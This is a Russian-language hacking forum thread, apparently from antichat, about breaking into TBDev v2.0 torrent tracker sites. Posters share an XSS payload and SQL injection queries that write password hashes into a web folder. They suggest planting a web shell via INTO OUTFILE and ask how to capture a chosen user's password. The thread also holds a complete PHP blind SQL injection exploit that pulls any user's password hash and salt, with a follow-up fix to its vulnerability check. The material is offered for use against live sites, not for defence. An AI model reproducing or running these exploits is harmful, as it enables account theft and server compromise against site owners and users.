нафиг этот геморой? есть другой способ, пишеш комент к торренту в виде кода шелла, потом через скулю в мыле интоаутфайл свой комент и шелл готов
Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006) Code: /viewrequests.php?search=[xss] фильтрация есть но плохая '></title><script>alert('xss')</script>
Лично у меня нет этого файла , так как в этом файле уязвимость была , на сайте TBDev'a уже есть темка как баги закрывать и какие. Я даже создал тут темку =]
Некоторые админы забывают удалить идущий в комплекте с трекером MyBB (www.tracker.site.ru/forums.php), а в нём есть отличная PHP-инъекция. И вот ещё какой вопрос: Мне нужно узнать пароль определённого пользователя(брутить нереально), что и где в коде нужно дописать, чтобы у него очистились куки, и при вводе пароля создался файл с пассом.
Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)
Мой аккаунт отключили и надо как то занова врубить его... Новый не регит, выдает что данный ip зареген Можно ли что либо сделать в данной ситуации??
По моему не было. Мод AJAX проверка занятости e-mail и никнейма. Бажные куски кода: PHP: $res = (@mysql_fetch_row(@sql_query("select count(*) from users where username='$wantusername'"))) or die(mysql_error()); и PHP: $res = (@mysql_fetch_row(@sql_query("select count(*) from users where email='$email'"))) or die(mysql_error()); Через данные уязвимости можно стырить пассхеш любого пользователя но как показала практика при запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua Стандартный JS убивает = поэтому создаем на каком нибудь сервере страничку с содержанием Code: <form method="POST" action="http://АДРЕС_ТРЕКЕРА/check_signup.php"> <input type="text" name="user name" size="20"> <input type="text" name="emai l" size="20"> <input type="submit" value="go"> </form> Вставляем в любое из полей SQL запрос и получаем в фаил 1.txt пассхеш. P.S. При юзании данной уязвимости можно столкнутся с тем что веб сервер "изолирован" и тогда MySQL выдаст ошибку о не возможности сохранить фаил. Поэтому вопрос можно ли как нибудь составить SQL запрос чтобы он пассхеш вывел на экран?
Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно. Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html Мой сплоит работает по методу описаному в пункте 3.3
Вместе с этим трекером идет станартный форум mybb,там есть php inj ИТД Можно файлы читать Ну вообщем смотря в каком случае. Можно шелл заюзать. P.S.Это так если инъекция не прет.
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar. PHP: <? //TBDev2 Blind SQL Injection Exploit by Qwazar //Greets: +toxa+ & antichat.ru & Rostov114 set_time_limit(0); ignore_user_abort(1); Error_Reporting(E_ALL & ~E_NOTICE); function send_xpl($url, $xpl){ global $id; $u=parse_url($url); $data = "action=email&email={$xpl}"; $req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n"; $req .= "Host: ".$u['host']."\r\n"; $req .= "Content-Length: ".strlen($data)."\r\n"; $req .= "Content-Type: application/x-www-form-urlencoded\r\n"; $req .= "Connection: close\r\n\r\n"; $req .= $data; $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n"); fwrite($fs, $req); while (!feof($fs)) { $res .= fread($fs, 8192); } fclose($fs); return $res; } function xpl($field, $condition, $pos){ global $id; $xpl="-1'+or+id=if(ascii(substring((select+$field+from+use rs+where+id=$id),$pos,1))$condition,'1',(select+1+ union+select+2))+--+"; return $xpl; } function cond($url, $field, $cond, $pos, $ch) { if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos)))) return 1; else return 0; } function isVulnerable($url) { if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1)))) return true; else return false; } function getChar($url, $field, $pos, $lb=0, $ub=255) { while(true) { $M = floor($lb + ($ub-$lb)/2); if(cond($url, $field, '<', $pos, $M)==1) { $ub = $M - 1; } else if(cond($url, $field, '>', $pos, $M)==1) { $lb = $M + 1; } else return chr($M); if($lb > $ub) return -1; } } if($argc<2) { echo "==================\r\n"; echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n"; echo "==================\r\n"; die(); } $url=$argv[1]; $id=$argv[2]; echo $url.":".$id."\r\n"; if(!isVulnerable($url)) die("Exploit failed: Target is not vulnerable"); echo "Trying to get passhash: "; for($i=1;$i<=32;$i++){ $c = getChar($url, "passhash", $i, 47, 103); if($c==-1) die("\r\nExploit failed\r\n"); else echo $c; } echo " [DONE]\r\n"; echo "Trying to get salt: "; for($i=1;$i<=20;$i++){ $c = getChar($url, "secret", $i); if($c==-1) die("\r\nExploit failed\r\n"); else echo $c; } echo " [DONE]\r\n"; ?> Использовать так же как и сплоит Qwazar-а только в этом сплоите не нужен аккаут зарегестрированого пользователя. P.S. Для тех кто в танке Exploit failed: Target is not vulnerable - означает что дыру прикрыли.
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true Т.е. по сути проверка всегда проходит успешно. З.Ы. Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов.